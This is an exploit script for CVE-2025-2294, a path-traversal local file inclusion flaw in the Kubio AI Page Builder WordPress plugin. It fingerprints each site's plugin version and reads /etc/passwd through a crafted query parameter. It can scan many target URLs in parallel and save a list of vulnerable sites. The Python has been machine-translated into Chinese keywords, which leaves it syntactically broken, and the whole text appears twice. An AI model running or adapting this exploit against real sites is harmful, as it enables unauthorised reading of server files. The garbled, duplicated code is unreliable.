#利用标题: Kubio AI页构建器=2.5.1-本地文件包含(LFI)
#日期: 2025-04-04
#剥削作者: Sheikh Mohammad Hasan(https://github.com/4M3RR0R)
#供应商homepage: https://wordpress.org/plugins/kubio/
#软件link: https://downloads.wordpress.org/plugin/kubio.2.5.1.zip
#参考: https://www.cve.org/cverecord?id=cve-2025-2294
#版本:=2.5.1
#测试在: WordPress 6.4.2(Ubuntu 22.04 LTS)
#CVE: CVE-2025-2294
'''
Description:
WordPress的Kubio AI页构建器插件包含本地文件包含漏洞
在“ kubio_hybrid_theme_load_template”函数中。这允许未经验证的攻击者
通过路径遍历读取任意文件。与文件上传功能结合使用时,可以导致RCE。
'''
导入argparse
导入
导入请求
从urllib.parse导入urljoin
来自conderrent.futures导入threadpoolexecutor
类颜色:
标头='\ 033 [95m'
okblue='\ 033 [94m'
okgreen='\ 033 [92m'
警告='\ 033 [93m'
fail='\ 033 [91m'
endc='\ 033 [0m'
bold='\ 033 [1M'
下划线='\ 033 [4M'
def parse_version(version_str):
parts=list(映射(int,version_str.split('。')))))
而Len(零件)3:
parts.append(0)
返回元组(零件[:3])
def check_plugin_version(target_url):
readme_url=urljoin(target_url,'wp-content/plugins/kubio/readme.txt')
TRY:
响应=requests.get(readme_url,timeout=10)
if antsphy.status_code==200:
version_match=re.search(r'stable tag: \ s*([\ d。]+)',response.text,re.i)
如果不是版本_match:
返回false,“未找到版本”
version_str=version_match.group(1).strip()
TRY:
parsed_version=parse_version(version_str)
valueerror:除外
返回false,f'invalid版本格式: {version_str}'
返回parsed_version=(2,5,1),version_str
返回false,f'http error {response.status_code}'
除异常外,E:
返回false,f'Connection error: {str(e)}'
def exploit_vulnerability(target_url,file_path,show_content=false):
exploit_url=f'{target_url}/?__ kubio-site-edit-iframe-preview=1__kubio-site-edit-edit-iframe-classic-template={file_path}'
TRY:
响应=requests.get(exploit_url,超时=10)
if antsphy.status_code==200:
如果show_content:
print(f'\ n {colors.okgreen} [+]来自{target_url} : {colors.endc}')的文件内容
打印(颜色。
返回true
返回false
除异常外,E:
返回false
def process_url(url,file_path,show_content,output_file):
print(f'{colors.header} [*]检查: {url} {colors.endc}')
is_vuln,version_info=check_plugin_version(url)
如果IS_VULN:
print(f'{colors.okgreen} [+] volserable: {url}(version3: {version_info}){colors.endc}')
exploit_success=exploit_vulnerability(url,file_path,show_content)
如果output_file和exploit_success:
使用open(output_file,'a')为f:
f.write(f'{url} \ n')
返回URL如果exploit_success else否
其他:
print(f'{colors.fail} [ - ]不vlumnerable: {url}({version_info}){colors.endc}')
没有返回
def main():
parser=argparse.argumentparser(description='kubio插件漏洞扫描仪')
group=parser.add_mutaly_exclusive_group(必需=true)
group.add_argument(' - u',' - url',help='单个目标URL(始终显示文件内容)')
group.add_argument(' - l',' - list',help='包含URL列表的文件)
parser.add_argument(' - f',' - file',默认='././././././././././././etc/etce/etctwd',passwd',
help='漏洞的文件路径(default:/./././././././././././././etc/passwd)')
parser.add_argument(' - o',' - 输出',help='输出文件以保存脆弱的URL')
parser.add_argument(' - v',' - verbose',action='store_true',
help='使用-l/- 列表模式时显示文件内容')
parser.add_argument(' - t',' - threads',type=int,默认=5,
help='列表模式的并发线程数')
args=parser.parse_args()
#确定操作模式
如果args.url:
#单个URL模式- 始终显示内容
process_url(args.url,args.file,show_content=true,output_file=args.output)
elif args.list:
#列表模式- 处理多个URL
以F:为open(args.list,'r')
urls=[line.strip()for f.Readlines()中的线路()If line.strip()]
print(f'{colors.bold} [*]使用{len(urls)}目标开始扫描. {colors.endc}')
使用ThreadPoolExecutor(max_workers=args.threads)作为executor:
期货=[]
对于URL中的URL :中的URL
Futures.Append(
executor.submit(
process_url,
URL,
args.file,
Args.verbose,
args.Output
)
)
vulenerable_urls=[future.result()对于未来(未来)(result()]的未来(])
打印(f'\ n {colors.bold} [*]扫描完整!{colors.endc}')
print(f'{colors.okgreen} [+]找到的总脆弱网址为: {len(lubnerable_urls)} {colors.endc}')
如果args.output:
print(f'{colors.okblue} [+]易受伤害的URL保存为: {args.output} {colors.endc}')
如果name=='__ -Main __':
主要的()
#日期: 2025-04-04
#剥削作者: Sheikh Mohammad Hasan(https://github.com/4M3RR0R)
#供应商homepage: https://wordpress.org/plugins/kubio/
#软件link: https://downloads.wordpress.org/plugin/kubio.2.5.1.zip
#参考: https://www.cve.org/cverecord?id=cve-2025-2294
#版本:=2.5.1
#测试在: WordPress 6.4.2(Ubuntu 22.04 LTS)
#CVE: CVE-2025-2294
'''
Description:
WordPress的Kubio AI页构建器插件包含本地文件包含漏洞
在“ kubio_hybrid_theme_load_template”函数中。这允许未经验证的攻击者
通过路径遍历读取任意文件。与文件上传功能结合使用时,可以导致RCE。
'''
导入argparse
导入
导入请求
从urllib.parse导入urljoin
来自conderrent.futures导入threadpoolexecutor
类颜色:
标头='\ 033 [95m'
okblue='\ 033 [94m'
okgreen='\ 033 [92m'
警告='\ 033 [93m'
fail='\ 033 [91m'
endc='\ 033 [0m'
bold='\ 033 [1M'
下划线='\ 033 [4M'
def parse_version(version_str):
parts=list(映射(int,version_str.split('。')))))
而Len(零件)3:
parts.append(0)
返回元组(零件[:3])
def check_plugin_version(target_url):
readme_url=urljoin(target_url,'wp-content/plugins/kubio/readme.txt')
TRY:
响应=requests.get(readme_url,timeout=10)
if antsphy.status_code==200:
version_match=re.search(r'stable tag: \ s*([\ d。]+)',response.text,re.i)
如果不是版本_match:
返回false,“未找到版本”
version_str=version_match.group(1).strip()
TRY:
parsed_version=parse_version(version_str)
valueerror:除外
返回false,f'invalid版本格式: {version_str}'
返回parsed_version=(2,5,1),version_str
返回false,f'http error {response.status_code}'
除异常外,E:
返回false,f'Connection error: {str(e)}'
def exploit_vulnerability(target_url,file_path,show_content=false):
exploit_url=f'{target_url}/?__ kubio-site-edit-iframe-preview=1__kubio-site-edit-edit-iframe-classic-template={file_path}'
TRY:
响应=requests.get(exploit_url,超时=10)
if antsphy.status_code==200:
如果show_content:
print(f'\ n {colors.okgreen} [+]来自{target_url} : {colors.endc}')的文件内容
打印(颜色。
返回true
返回false
除异常外,E:
返回false
def process_url(url,file_path,show_content,output_file):
print(f'{colors.header} [*]检查: {url} {colors.endc}')
is_vuln,version_info=check_plugin_version(url)
如果IS_VULN:
print(f'{colors.okgreen} [+] volserable: {url}(version3: {version_info}){colors.endc}')
exploit_success=exploit_vulnerability(url,file_path,show_content)
如果output_file和exploit_success:
使用open(output_file,'a')为f:
f.write(f'{url} \ n')
返回URL如果exploit_success else否
其他:
print(f'{colors.fail} [ - ]不vlumnerable: {url}({version_info}){colors.endc}')
没有返回
def main():
parser=argparse.argumentparser(description='kubio插件漏洞扫描仪')
group=parser.add_mutaly_exclusive_group(必需=true)
group.add_argument(' - u',' - url',help='单个目标URL(始终显示文件内容)')
group.add_argument(' - l',' - list',help='包含URL列表的文件)
parser.add_argument(' - f',' - file',默认='././././././././././././etc/etce/etctwd',passwd',
help='漏洞的文件路径(default:/./././././././././././././etc/passwd)')
parser.add_argument(' - o',' - 输出',help='输出文件以保存脆弱的URL')
parser.add_argument(' - v',' - verbose',action='store_true',
help='使用-l/- 列表模式时显示文件内容')
parser.add_argument(' - t',' - threads',type=int,默认=5,
help='列表模式的并发线程数')
args=parser.parse_args()
#确定操作模式
如果args.url:
#单个URL模式- 始终显示内容
process_url(args.url,args.file,show_content=true,output_file=args.output)
elif args.list:
#列表模式- 处理多个URL
以F:为open(args.list,'r')
urls=[line.strip()for f.Readlines()中的线路()If line.strip()]
print(f'{colors.bold} [*]使用{len(urls)}目标开始扫描. {colors.endc}')
使用ThreadPoolExecutor(max_workers=args.threads)作为executor:
期货=[]
对于URL中的URL :中的URL
Futures.Append(
executor.submit(
process_url,
URL,
args.file,
Args.verbose,
args.Output
)
)
vulenerable_urls=[future.result()对于未来(未来)(result()]的未来(])
打印(f'\ n {colors.bold} [*]扫描完整!{colors.endc}')
print(f'{colors.okgreen} [+]找到的总脆弱网址为: {len(lubnerable_urls)} {colors.endc}')
如果args.output:
print(f'{colors.okblue} [+]易受伤害的URL保存为: {args.output} {colors.endc}')
如果name=='__ -Main __':
主要的()